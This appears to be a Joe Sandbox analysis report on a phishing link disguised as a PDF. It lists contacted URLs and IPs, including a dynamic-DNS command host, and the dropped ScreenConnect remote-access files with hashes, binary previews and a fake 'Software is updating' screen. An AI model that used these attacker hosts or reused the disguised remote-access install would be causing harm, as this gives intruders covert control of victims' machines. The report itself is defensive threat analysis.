                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://electroagrotech.com.ua/wp-content/uploads/2024/07/xts-theme_settings_default-1722337697.css?chromecache_125.2.drfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=svchost.exe, 00000004.00000003.1366363286.000001CC32E34000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://tmqw21a.zapto.org:8041/:ScreenConnect.ClientService.exe, 00000013.00000002.2499966933.000000000509F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://electroagrotech.com.ua/wp-content/themes/woodmart/css/parts/base.min.css?ver=7.5.1chromecache_125.2.drfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/booster/assets/js/global.js?ver=1.0.chromecache_125.2.drfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://dev.virtualearth.net/REST/v1/Routes/Drivingsvchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://electroagrotech.com.ua/comments/feed/chromecache_125.2.drfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/scrollTop.min.js?ver=7.5chromecache_125.2.drfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  https://electroagrotech.com.ua/wp-content/uploads/elementor/css/post-8.css?ver=1719229765chromecache_125.2.drfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  https://t0.ssl.ak.dynamic.tiles.virtualearth.net/comp/gen.ashxsvchost.exe, 00000004.00000003.1366751336.000001CC32E43000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://docs.rs/getrandom#nodejs-es-module-supportScreenConnect.WindowsCredentialProvider.dll.14.drfalse
                                                                                                      		high
                                                                                                      https://electroagrotech.com.ua/chromecache_125.2.drfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      https://electroagrotech.com.ua/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.jschromecache_125.2.drfalse
                                                                                                      • Avira URL Cloud: safe
                                                                                                      		unknown
                                                                                                      https://gmpg.org/xfn/11chromecache_125.2.drfalse
                                                                                                        		high
                                                                                                        http://wixtoolset.org/news/rundll32.exe, 00000010.00000003.1565793061.0000000004921000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1567568317.0000000004823000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000010.00000003.1565793061.0000000004990000.00000004.00000020.00020000.00000000.sdmp, Microsoft.Deployment.Compression.dll.16.dr, Microsoft.Deployment.Compression.Cab.dll.16.dr, Microsoft.Deployment.WindowsInstaller.dll.16.dr, Microsoft.Deployment.WindowsInstaller.Package.dll.16.drfalse
                                                                                                          		high
                                                                                                          https://dev.ditu.live.com/mapcontrol/logging.ashxsvchost.exe, 00000004.00000003.1366647183.000001CC32E58000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/menu/menuSetUp.min.js?ver=7.5.1chromecache_125.2.drfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=svchost.exe, 00000004.00000002.1367283972.000001CC32E2B000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://electroagrotech.com.ua/wp-content/themes/woodmart/js/scripts/global/scrollBar.min.js?ver=7.5chromecache_125.2.drfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              https://electroagrotech.com.ua/wp-content/plugins/photo-gallery/booster/assets/css/global.css?ver=1.chromecache_125.2.drfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown

                                                                                                              World Map of Contacted IPs

                                                                                                              • No. of IPs < 25%
                                                                                                              • 25% < No. of IPs < 50%
                                                                                                              • 50% < No. of IPs < 75%
                                                                                                              • 75% < No. of IPs

                                                                                                              Public IPs

                                                                                                              IPDomainCountryFlagASNASN NameMalicious
                                                                                                              88.218.28.52
                                                                                                              		electroagrotech.com.uaUkraine
                                                                                                              		50673SERVERIUS-ASNLfalse
                                                                                                              172.217.17.33
                                                                                                              		ci3.googleusercontent.comUnited States
                                                                                                              		15169GOOGLEUSfalse
                                                                                                              194.59.31.199
                                                                                                              		rjpanelplus.topGermany
                                                                                                              		30823COMBAHTONcombahtonGmbHDEfalse
                                                                                                              239.255.255.250
                                                                                                              		unknownReserved
                                                                                                              		unknownunknownfalse
                                                                                                              3.5.139.117
                                                                                                              		s3-r-w.eu-central-1.amazonaws.comUnited States
                                                                                                              		16509AMAZON-02USfalse
                                                                                                              142.250.181.68
                                                                                                              		www.google.comUnited States
                                                                                                              		15169GOOGLEUSfalse
                                                                                                              170.10.161.77
                                                                                                              		silvervalleyrealestategh.comUnited States
                                                                                                              		32748STEADFASTUSfalse

                                                                                                              Private

                                                                                                              IP
                                                                                                              192.168.2.16
                                                                                                              127.0.0.1

                                                                                                              General Information

                                                                                                              Joe Sandbox version:41.0.0 Charoite
                                                                                                              Analysis ID:1563966
                                                                                                              Start date and time:2024-11-27 16:53:10 +01:00
                                                                                                              Joe Sandbox product:CloudBasic
                                                                                                              Overall analysis duration:0h 7m 54s
                                                                                                              Hypervisor based Inspection enabled:false
                                                                                                              Report type:full
                                                                                                              Cookbook file name:defaultwindowsinteractivecookbook.jbs
                                                                                                              Sample URL:https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html
                                                                                                              Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                              Number of analysed new started processes analysed:23
                                                                                                              Number of new started drivers analysed:0
                                                                                                              Number of existing processes analysed:0
                                                                                                              Number of existing drivers analysed:0
                                                                                                              Number of injected processes analysed:0
                                                                                                              Technologies:
                                                                                                              • HCA enabled
                                                                                                              • EGA enabled
                                                                                                              • AMSI enabled
                                                                                                              Analysis Mode:default
                                                                                                              Analysis stop reason:Timeout
                                                                                                              Detection:MAL
                                                                                                              Classification:mal76.evad.win@48/76@24/9
                                                                                                              EGA Information:
                                                                                                              • Successful, ratio: 50%
                                                                                                              HCA Information:
                                                                                                              • Successful, ratio: 67%
                                                                                                              • Number of executed functions: 374
                                                                                                              • Number of non-executed functions: 19

                                                                                                              Warnings

                                                                                                              • Exclude process from analysis (whitelisted): dllhost.exe, SIHClient.exe
                                                                                                              • Excluded IPs from analysis (whitelisted): 172.217.19.227, 172.217.19.238, 64.233.165.84, 34.104.35.123, 23.52.182.8, 172.217.17.35, 172.217.17.78
                                                                                                              • Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, clientservices.googleapis.com, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, e16604.g.akamaiedge.net, update.googleapis.com, clients.l.google.com, prod.fs.microsoft.com.akadns.net
                                                                                                              • Execution Graph export aborted for target Monthly_eStatementsForumdownloaded537090855311_PDF.ClientSetup.exe, PID 7920 because it is empty
                                                                                                              • Execution Graph export aborted for target rundll32.exe, PID 8132 because it is empty
                                                                                                              • Not all processes where analyzed, report is missing behavior information
                                                                                                              • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                              • Report size getting too big, too many NtAllocateVirtualMemory calls found.
                                                                                                              • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                              • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                              • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                              • Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                              • VT rate limit hit for: https://cloudserver-filesredir667900989385.s3.eu-central-1.amazonaws.com/6354799604_PDF.html

                                                                                                              Simulations

                                                                                                              Behavior and APIs

                                                                                                              TimeTypeDescription
                                                                                                              10:53:40API Interceptor2x Sleep call for process: svchost.exe modified
                                                                                                              10:54:47API Interceptor1x Sleep call for process: MpCmdRun.exe modified

                                                                                                              Joe Sandbox View / Context

                                                                                                              IPs

                                                                                                              ⊘No context

                                                                                                              Domains

                                                                                                              ⊘No context

                                                                                                              ASNs

                                                                                                              ⊘No context

                                                                                                              JA3 Fingerprints

                                                                                                              ⊘No context

                                                                                                              Dropped Files

                                                                                                              ⊘No context

                                                                                                              Created / dropped Files

                                                                                                              C:\Config.Msi\4ad421.rbs

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:modified
                                                                                                              Size (bytes):219642
                                                                                                              Entropy (8bit):6.583306105922185
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3072:7j9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMGrY:7juH2aCGw1ST1wQLdqvrY
                                                                                                              MD5:11F43AA2C450796EFAEA1E801FD41ADD
                                                                                                              SHA1:A7683629FE7AD351ABF9D17ECC3F84A06786C344
                                                                                                              SHA-256:623B2F17B5132FD53AE432AE17F058A6AE13C9322082EE1F3B090CCEC8D51D40
                                                                                                              SHA-512:A436D468A3CBC0C1D6E2159CD2869D8ACE59459A0D5838AC33B5D14467B3E2D4C68FD520203770AF06FA73CD8F21D479010069E7996BC0AA698B0C420CFFA018
                                                                                                              Malicious:false
                                                                                                              Yara Hits:
                                                                                                              • Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Config.Msi\4ad421.rbs, Author: Joe Security
                                                                                                              Reputation:low
                                                                                                              Preview:...@IXOS.@.....@.V{Y.@.....@.....@.....@.....@.....@......&.{E9529982-0D10-CBAC-7648-2909782EACA4}'.ScreenConnect Client (e6cb77284cf765aa)..setup.msi.@.....@.....@.....@......DefaultIcon..&.{E9529982-0D10-CBAC-7648-2909782EACA4}.....@.....@.....@.....@.......@.....@.....@.......@....'.ScreenConnect Client (e6cb77284cf765aa)......Rollback..Rolling back action:..[1]..RollbackCleanup..Removing backup files..File: [1]....ProcessComponents..Updating component registration..&.{F7DC6ACE-2599-29C8-925C-5B3ACC994D1F}&.{E9529982-0D10-CBAC-7648-2909782EACA4}.@......&.{E75F3825-615D-A6C3-18A8-A81116BE1B2A}&.{E9529982-0D10-CBAC-7648-2909782EACA4}.@......&.{1D30660B-8729-B08B-2523-3D6361F833F5}&.{E9529982-0D10-CBAC-7648-2909782EACA4}.@......&.{55FD4F1A-E122-32D9-E968-E1A92B874A9A}&.{E9529982-0D10-CBAC-7648-2909782EACA4}.@......&.{C4DED9E9-A5FD-85FC-68B4-A71C4571FDD1}&.{E9529982-0D10-CBAC-7648-2909782EACA4}.@......&.{5DC0AA41-9852-0F50-6DDF-17F08295A631}&.{E9529982-0D10-CBAC-7648-2909782EACA4}.@....

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\Client.Override.en-US.resources

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):289
                                                                                                              Entropy (8bit):4.9739376290794715
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6:8kVXdyrKDLIP12MUAvvR+ojlX2KG6cAtsbxMHwercD:rHy2DLI4MWoj12K9cAudMHcD
                                                                                                              MD5:5A9944427C35328CB2D7E201CD705C32
                                                                                                              SHA1:C58F7761A80CC65E12CC48AD459151DD7E02B2EA
                                                                                                              SHA-256:333CF59F6D5E060600BD0E001643FECC11E91743A9757AB2192C4CF9B3CB6C01
                                                                                                              SHA-512:AF0132F5D7DA2FDC869BD4889700FB4F3A8017159931CBE7861251C1B33EA4FA28331E1059E129C4BA6AF9878A1367BA531D412AE9DC13F143EDEBC6855114D0
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP..n_........ A.p.p.l.i.c.a.t.i.o.n.T.i.t.l.e......>Software is updating... Please do not turn off your computer!.

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\Client.Override.resources

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):257
                                                                                                              Entropy (8bit):4.896176001960815
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6:8kVXdyrKDLIP12MUAvvR+ojlX2epExpKCl1nSJk0k:rHy2DLI4MWoj12eKfKCKxk
                                                                                                              MD5:C72D7889B5E0BB8AC27B83759F108BD8
                                                                                                              SHA1:2BECC870DB304A8F28FAAB199AE6834B97385551
                                                                                                              SHA-256:3B231FF84CBCBB76390BD9560246BED20B5F3182A89EAF1D691CB782E194B96E
                                                                                                              SHA-512:2D38A847E6DD5AD146BD46DE88B9F37075C992E50F9D04CCEF96F77A1E21F852599A57CE2360E71B99A1CCBC5E3750D37FDB747267EA58A9B76122083FB6A390
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP..........6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.......#03c6fc.

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\Client.en-US.resources

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):50133
                                                                                                              Entropy (8bit):4.759054454534641
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
                                                                                                              MD5:D524E8E6FD04B097F0401B2B668DB303
                                                                                                              SHA1:9486F89CE4968E03F6DCD082AA2E4C05AEF46FCC
                                                                                                              SHA-256:07D04E6D5376FFC8D81AFE8132E0AA6529CCCC5EE789BEA53D56C1A2DA062BE4
                                                                                                              SHA-512:E5BC6B876AFFEB252B198FEB8D213359ED3247E32C1F4BFC2C5419085CF74FE7571A51CAD4EAAAB8A44F1421F7CA87AF97C9B054BDB83F5A28FA9A880D4EFDE5
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.q...'..6....wp.......y....C|.)>..Ldt..... $...X..........1$.../...2.%%3./>>...L.y.0.C._.........1Y..Qj.o....<....=...R..;...C....&.......1p2.r.x.u?Y..R...c......X.....I.5.2q..R...>.E.pw .@ ).w.l.....S...X..'.C.I......-.Y........4.J..P<.E..=c!.@To..#.._.2.....K.!..h...z......t......^..4...D...f..Q...:..%.z.<......^.....;<...r..yC.....Q........4_.Sns..z.......=..]t...X..<....8.e`}..n....S.H[..S@?.~....,...j.2..*v.......B....A...a......D..c..w..K,..t...S.....*v....7.6|..&.....r....#....G......Y...i..'.............'.......Z.....#2e..........|....)..%....A.....4{..u;N......&q...}.tD..x.....4...J...L......5.Q..M....K..3U..M..............5...........t.>.......lYu....3TY.?...r...'.......3.m........=.H...#.o.........n.....,4.~...<h..u...i.H...V......V/...P.$%..z...

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\Client.resources

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:data
                                                                                                              Category:dropped
                                                                                                              Size (bytes):26722
                                                                                                              Entropy (8bit):7.7401940386372345
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
                                                                                                              MD5:5CD580B22DA0C33EC6730B10A6C74932
                                                                                                              SHA1:0B6BDED7936178D80841B289769C6FF0C8EEAD2D
                                                                                                              SHA-256:DE185EE5D433E6CFBB2E5FCC903DBD60CC833A3CA5299F2862B253A41E7AA08C
                                                                                                              SHA-512:C2494533B26128FBF8149F7D20257D78D258ABFFB30E4E595CB9C6A742F00F1BF31B1EE202D4184661B98793B9909038CF03C04B563CE4ECA1E2EE2DEC3BF787
                                                                                                              Malicious:false
                                                                                                              Reputation:low
                                                                                                              Preview:...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP)...s^.J.....E.....(....jF.C...1P)...H..../..72J..I.J.a.K8c._.ks`.k.`.kK..m.M6p............b...P...........'...!...............K...............w.......P.......1......."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.1.6.....$A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.2.5.6....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.3.2....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.4.8.....,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.B.l.a.n.k.1.6.;...(A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.M.a.c.2.2.....0A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.O.p.a.q.u.e.1.9.2.8...,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.T.i.t.l.e.1.6.....6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.4...6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.:...DB.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.V.i.s.i.b.l.e.xb..*B.l.a.n.k.M.o.n.i.t.o.r.T.e.x.t.C.o.l.o.r..b..*D.a.r.k.T.h.e.m.e.B.a.r.B.a.s.e.C.o.l.o.r..b..<D.a.r.k.T.h.

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Client.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):197120
                                                                                                              Entropy (8bit):6.58476728626163
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3072:CxGtNaldxI5KY9h12QMusqVFJRJcyzvJquFzDvJXYrR:BtNalc5fr12QbPJYaquFGr
                                                                                                              MD5:AE0E6EBA123683A59CAE340C894260E9
                                                                                                              SHA1:35A6F5EB87179EB7252131A881A8D5D4D9906013
                                                                                                              SHA-256:D37F58AAE6085C89EDD3420146EB86D5A108D27586CB4F24F9B580208C9B85F1
                                                                                                              SHA-512:1B6D4AD78C2643A861E46159D5463BA3EC5A23A2A3DE1575E22FDCCCD906EE4E9112D3478811AB391A130FA595306680B8608B245C1EECB11C5BCE098F601D6B
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z<..........." ..0.................. ... ....... .......................`............@.................................-...O.... .......................@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................a.......H...........(............^................................................(....*..(....*^.(...........%...}....*:.(......}....*:.(......}....*:.(......}....*..{....*:.(......}....*.0..A........(....s....%.~(...%-.&~'.....y...s....%.(...(...+(...+o"...o....*....0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.&...($....5..............s%....=...*..0...........~*...%-.&~).....|...s&...%.*...(...+..~+...%-.&~).....}...s(...%.+...(...+.r9..

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):68096
                                                                                                              Entropy (8bit):6.068776675019683
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:1536:tA0ZscQ5V6TsQqoSDKh6+39QFVIl1KJhb8gp:q0Zy3wUOQFVQKJp
                                                                                                              MD5:0402CF8AE8D04FCC3F695A7BB9548AA0
                                                                                                              SHA1:044227FA43B7654032524D6F530F5E9B608E5BE4
                                                                                                              SHA-256:C76F1F28C5289758B6BD01769C5EBFB519EE37D0FA8031A13BB37DE83D849E5E
                                                                                                              SHA-512:BE4CBC906EC3D189BEBD948D3D44FCF7617FFAE4CC3C6DC49BF4C0BD809A55CE5F8CD4580E409E5BCE7586262FBAF642085FA59FE55B60966DB48D81BA8C0D78
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.T..........." ..0.............. ... ...@....... ..............................d.....@.................................e ..O....@.......................`..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................. ......H........n..@...................<.........................................(....*^.(...........%...}....*:.(......}....*:.(......}....*:.(......}....*.~,...%-.&~+.....i...s....%.,...(...+*vs....%.}P.........s....(....*....0...........s....}.....s....}...........}.......(&.....}.....(....&.()..........s....o.....()...~-...%-.&~+.....j...s....%.-...o ....s!...}.....s"...}.....s#...}...... .... 0u.........s....s=...}....... ..6........s....s=...}.....('...($............o%........

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.ClientService.exe

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):95520
                                                                                                              Entropy (8bit):6.505346220942731
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:1536:rg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgoT0HMM7CxM7:khbNDxZGXfdHrX7rAc6myJkgoT0HXN7
                                                                                                              MD5:361BCC2CB78C75DD6F583AF81834E447
                                                                                                              SHA1:1E2255EC312C519220A4700A079F02799CCD21D6
                                                                                                              SHA-256:512F9D035E6E88E231F082CC7F0FF661AFA9ACC221CF38F7BA3721FD996A05B7
                                                                                                              SHA-512:94BA891140E7DDB2EFA8183539490AC1B4E51E3D5BD0A4001692DD328040451E6F500A7FC3DA6C007D9A48DB3E6337B252CE8439E912D4FE7ADC762206D75F44
                                                                                                              Malicious:true
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........(..qF.qF.qF....qF.....qF....qF.<.B.qF.<.E.qF.<.C.qF....qF.#..qF.qG..qF.2.O.qF.2...qF.2.D.qF.Rich.qF.........................PE..L.....wc...............!.............!............@.......................................@.................................p...x....`..X............L.. )...p......`!..p............................ ..@............................................text...:........................... ..`.rdata...f.......h..................@..@.data........@.......,..............@....rsrc...X....`.......6..............@..@.reloc.......p.......<..............@..B........................................................................................................................................................................................................................................................................................

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Core.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):548864
                                                                                                              Entropy (8bit):6.031251664661689
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:6144:7+kYq9xDsxaUGEcANzZ1dkmn27qcO5noYKvKzDrzL9e7eOJsXziIYjVtkb+vbHq+:7SHtpnoVMlUbHbBaYLD
                                                                                                              MD5:16C4F1E36895A0FA2B4DA3852085547A
                                                                                                              SHA1:AB068A2F4FFD0509213455C79D311F169CD7CAB8
                                                                                                              SHA-256:4D4BF19AD99827F63DD74649D8F7244FC8E29330F4D80138C6B64660C8190A53
                                                                                                              SHA-512:AB4E67BE339BECA30CAB042C9EBEA599F106E1E0E2EE5A10641BEEF431A960A2E722A459534BDC7C82C54F523B21B4994C2E92AA421650EE4D7E0F6DB28B47BA
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0..X...........r... ........... ...............................D....@..................................r..O....................................q..8............................................ ............... ..H............text....V... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................r......H........B......................xq........................................{:...*..{;...*V.(<.....}:.....};...*...0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...*.*.*. ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X*...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D...*..{E...*..{F...*V.(<.....}E.....}F...*.0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...*.*.*. F.b# )UU.

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.Windows.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):1721856
                                                                                                              Entropy (8bit):6.639136400085158
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:24576:gx5x94kEFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:gx5xKkEJkGYYpT0+TFiH7efP
                                                                                                              MD5:9F823778701969823C5A01EF3ECE57B7
                                                                                                              SHA1:DA733F482825EC2D91F9F1186A3F934A2EA21FA1
                                                                                                              SHA-256:ABCA7CF12937DA14C9323C880EC490CC0E063D7A3EEF2EAC878CD25C84CF1660
                                                                                                              SHA-512:FFC40B16F5EA2124629D797DC3A431BEB929373BFA773C6CDDC21D0DC4105D7360A485EA502CE8EA3B12EE8DCA8275A0EC386EA179093AF3AA8B31B4DD3AE1CA
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
                                                                                                              Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............" ..0..>...........]... ...`....... ..............................[.....@................................./]..O....`...............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............D..............@..B................c]......H.......t...h..............0....\........................................()...*^.()..........%...}....*:.().....}....*:.().....}....*:.().....}....*..s*...*..s+...*:.(,.....(-...*..{....*"..}....*J.(/........(0...&*:.(,.....(1...*..{2...*"..}2...*.0..(........(3......+.............(0...&..X....i2.*v.(,....s4...}.....s5...}....*v.{.....r...p(...+.....o7....*.0...........o8....+..o9......(...+&.o....-....,..o......*..........."........{..........o:...&.......(.....*....0..L...

                                                                                                              C:\Program Files (x86)\ScreenConnect Client (e6cb77284cf765aa)\ScreenConnect.WindowsAuthenticationPackage.dll

                                                                                                              Download File
                                                                                                              Process:C:\Windows\System32\msiexec.exe
                                                                                                              File Type:PE32+ executable (DLL) (GUI) x86-64, for MS Windows
                                                                                                              Category:dropped
                                                                                                              Size (bytes):260168
                                                                                                              Entropy (8bit):6.416438906122177
                                                                                                              Encrypted:false
                                                                                                              SSDEEP:3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
                                                                                                              MD5:5ADCB5AE1A1690BE69FD22BDF3C2DB60
                                                                                                              SHA1:09A802B06A4387B0F13BF2CDA84F53CA5BDC3785
                                                                                                              SHA-256:A5B8F0070201E4F26260AF6A25941EA38BD7042AEFD48CD68B9ACF951FA99EE5
                                                                                                              SHA-512:812BE742F26D0C42FDDE20AB4A02F1B47389F8D1ACAA6A5BB3409BA27C64BE444AC06D4129981B48FA02D4C06B526CB5006219541B0786F8F37CF2A183A18A73
                                                                                                              Malicious:false
                                                                                                              Antivirus:
                                                                                                              • Antivirus: ReversingLabs, Detection: 0%
                                                                                                              Reputation:low
